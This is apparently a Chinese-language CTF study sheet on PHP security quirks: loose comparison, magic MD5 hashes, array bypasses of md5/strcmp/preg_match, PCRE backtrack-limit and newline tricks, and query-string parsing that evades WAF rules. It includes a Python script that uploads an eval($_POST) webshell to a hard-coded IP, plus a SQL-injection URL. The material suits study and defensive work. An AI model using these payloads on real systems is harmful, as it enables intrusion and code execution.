PHP短标记

  1. <? 等价<?php
  2. <?= 等价<? echo

PHP大括号{}

用于指示字符串变量中的单个字符

  1. $my_str="1234";
  2. $my_str{1}='5'; //现在 $my_str 内容为 '1534'

PHP类型转换

例题
simple_php

  • 当一个整形和一个其他类型行比较的时候,会先把其他类型 intval 再比较
  • bool类型的 true 跟任意字符串可以弱类型相等 ```php var_dump(intval(‘2’)) //2 var_dump(intval(‘3abcd’)) //3 var_dump(intval(‘abcd’)) //0

var_dump(0 == ‘0’); // true var_dump(0 == ‘abcdefg’); // true var_dump(0 === ‘abcdefg’); // false var_dump(1 == ‘1abcdef’); // true

  1. `intval()` 转换的时候,会从字符串的开始进行转换直到遇到一个非数字的字符。即使出现无法转换的字符串, `intval()` 不会报错而是返回 0。<br />并且在php中比较大小时,遵循以下规则
  2. | **运算数1 类型** | **运算数2 类型** | **结果** |
  3. | --- | --- | --- |
  4. | null string | string | `NULL` 转换为 "",进行数字或词汇比较 |
  5. | bool null | 任何其它类型 | 转换为 bool`FALSE` < `TRUE` |
  6. | object | object | 内置类可以定义自己的比较,不同类不能比较,相同类和数组同样方式比较属性(PHP 4 中),PHP 5 有其自己的说明 |
  7. | stringresource number | stringresource number | 将字符串和资源转换成数字,按普通数学比较 |
  8. | array | array | 具有较少成员的数组较小,如果运算数 1 中的键不存在于运算数 2 中则数组无法比较,否则挨个值比较(见下例) |
  9. | object | 任何其它类型 | object 总是更大 |
  10. | array | 任何其它类型 | array 总是更大 |
  11. ![image.png](https://cdn.nlark.com/yuque/0/2020/png/2658344/1608908169762-53f47ff7-c108-4508-8b5f-a3b309d40635.png#align=left&display=inline&height=297&margin=%5Bobject%20Object%5D&name=image.png&originHeight=594&originWidth=1311&size=53811&status=done&style=none&width=655.5)
  12. <a name="NqdJJ"></a>
  13. ## 魔法Hash
  14. ```php
  15. "0e132456789"=="0e7124511451155" //true
  16. "0e123456abc"=="0e1dddada" //false
  17. "0e1abc"=="0" //true

在进行比较运算时,如果遇到了 0e\d+ 这种字符串,就会将这种字符串解析为科学计数法。所以上面例子中 2 个数的值都是 0 因而就相等了。如果不满足 0e\d+ 这种模式就不会相等。

十六进制转换

  1. "0x1e240"=="123456" //true
  2. "0x1e240"==123456 //true
  3. "0x1e240"=="1e240" //false

当其中的一个字符串是 0x 开头的时候,PHP 会将此字符串解析成为十进制然后再进行比较,0x1240 解析成为十进制就是 123456,所以与 int 类型和 string 类型的 123456 比较都是相等。

PHP内置函数Bypass

md5()/sha1()

数组绕过

  1. md5 ( string $str [, bool $raw_output = FALSE ] ) : string

md5()函数需要一个string类型的参数,但假如传递一个array类型的参数,md5依旧可以执行,不会报错

  1. $array1[] = array(
  2. "foo" => "bar",
  3. "bar" => "foo",
  4. );
  5. $array2 = array("foo", "bar", "hello", "world");
  6. var_dump(md5($array1)==md5($array2)); //true

科学计数法绕过

  1. byGcY
  2. 0e591948146966052067035298880982
  3. QNKCDZO
  4. 0e830400451993494058024219903391
  5. s878926199a
  6. 0e545993274517709034328855841020
  7. s155964671a
  8. 0e342768416822451524974117254469
  9. s214587387a
  10. 0e848240448830537924465865611904
  11. s214587387a
  12. 0e848240448830537924465865611904
  13. s878926199a
  14. 0e545993274517709034328855841020
  15. s1091221200a
  16. 0e940624217856561557816327384675
  17. s1885207154a
  18. 0e509367213418206700842008763514

md5碰撞

使用工具fastcoll.exe来生成两个md5值相同,但文件内容不相同的文件。

switch()

如果 switch() 是数字类型的 case 的判断时,switch 会将其中的参数转换为 int 类型。如下:

  1. $i ="2abc";
  2. switch ($i) {
  3. case 0:
  4. case 1:
  5. case 2:
  6. echo "i is less than 3 but not negative";
  7. break;
  8. case 3:
  9. echo "i is 3";
  10. }

这个时候程序输出的是 i is less than 3 but not negative ,是由于 switch() 函数将 $i 进行了类型转换,转换结果为 2。

in_array()

在 PHP 手册中, in_array() 函数的解释是 bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ) , 如果 strict 参数没有提供,那么 in_array 就会使用松散比较来判断 $needle 是否在 $haystack 中。当 strict 的值为 true 时, in_array() 会比较 needls 的类型和 haystack 中的类型是否相同。

  1. $array=[0,1,2,'3'];
  2. var_dump(in_array('abc', $array)); //true
  3. var_dump(in_array('1bc', $array)); //true

可以看到上面的情况返回的都是 true,因为 'abc' 会转换为 0, '1bc' 转换为 1。
array_search()in_array() 也是一样的问题。

ereg()/eregi()

ereg() 函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。大小写敏感。

  • 传入数组返回null
  • %00截断

    strpos()

    strpos() 函数查找字符串在另一字符串中第一次出现的位置。

  • 传入数组返回null

    preg_match

  1. 数组绕过

preg_match只能处理字符串,当传入的subject是数组时会返回false

  1. pcre回溯次数限制

pcre.backtrack_limit给pcre设定了一个回溯次数上限,默认为1000000,如果回溯次数超过这个数字,preg_match会返回false

  1. import requests
  2. from io import BytesIO
  3. files = {
  4. 'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
  5. }
  6. res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
  7. print(res.headers)
  1. 换行符

.不会匹配换行符,如

  1. if (preg_match('/^.*(flag).*$/', $json)) {
  2. echo 'Hacking attempt detected<br/><br/>';
  3. }

只需要

  1. $json="\nflag"

而在非多行模式下,$似乎会忽略在句尾的%0a

  1. if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') {
  2. echo $flag;
  3. }

只需要传入

  1. ?a=flag%0a

strcmp

传入的期望类型是字符串类型的数据 ,但是这个函数当接受到不符合字符串类型的参数就会发生错误,并返回0
所以当传入的参数为数组时,报错并返回0,0==0成立。

PHP字符串解析特性

PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => "bar")。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:

  1. /news.php?%20news[id%00=42"+AND+1=0--

上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

  1. 1.删除空白符
  2. 2.将某些字符转换为下划线(包括空格)
User input Decoded PHP variable name
%20foo_bar%00 foo_bar foo_bar
foo%20bar%00 foo bar foo_bar
foo%5bbar foo[bar foo_bar

strtoupper漏洞

某些字符经过strtoupper处理后,会等价普通字符
参考:https://blog.rubiya.kr/index.php/2018/11/29/strtoupper/
%C4%B1等价I
image.png
%E2%84%AA等价K
image.png
%C5%BF等价S
image.png
%C4%B0等价i
image.png